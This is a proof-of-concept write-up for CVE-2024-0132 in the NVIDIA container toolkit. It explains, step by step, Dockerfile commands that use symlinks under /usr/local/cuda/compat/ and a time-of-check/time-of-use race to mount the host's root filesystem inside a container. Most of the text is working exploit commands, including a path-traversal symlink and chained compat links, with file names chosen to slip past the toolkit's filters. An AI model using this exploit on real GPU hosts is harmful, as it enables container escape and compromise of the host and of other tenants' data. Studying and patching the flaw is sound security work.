CVE-2024-0132 PoC
Let's start by deciding on a base image. The arrangement of libraries in the system depends on what it will be. For example, for alpine it will be /usr/lib64/, for ubuntu it will be /usr/lib/x86_64-linux-gnu. We will use ubuntu as a base image.
FROM ubuntuThe nvidia containter toolkit checks the libraries in /usr/local/cuda/compat/ inside the container and then mounts them in the main library directory, for this image (ubuntu) this would be /usr/lib/x86_64-linux-gnu.
Links are also mounted, so you can mount any file and directory from the image to /usr/lib/x86_64-linux-gnu. This checks that the link is resolved inside the container, it cannot use multiple ../ for path traversal. However, this can be circumvented by using the in-container mount via /usr/local/cuda/compat/ twice, hence TOCTOU.
Read more about the mechanism for mounting from /usr/local/cuda/compat/:
- https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
- https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
RUN mkdir -p /usr/local/cuda/compat/Create two directories:
- The original directory will contain a regular file with the contents of
test
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs- The second directory with the same name will contain a link with path traversal instead of a file.
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfsThe name libdxcore.so is chosen to satisfy filters. The major version (1337) must be different from the real driver version.
Create two links in /usr/local/cuda/compat/:
- The first link will substitute the contents of the original directory
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/for/pwn/libdxcore.so.1337/
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1- The second link mount
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfsto/usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. During the check it will be a normal file, but at the moment of the mount it will be a link that was in/pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, thus the host filesystem will be mounted in/usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2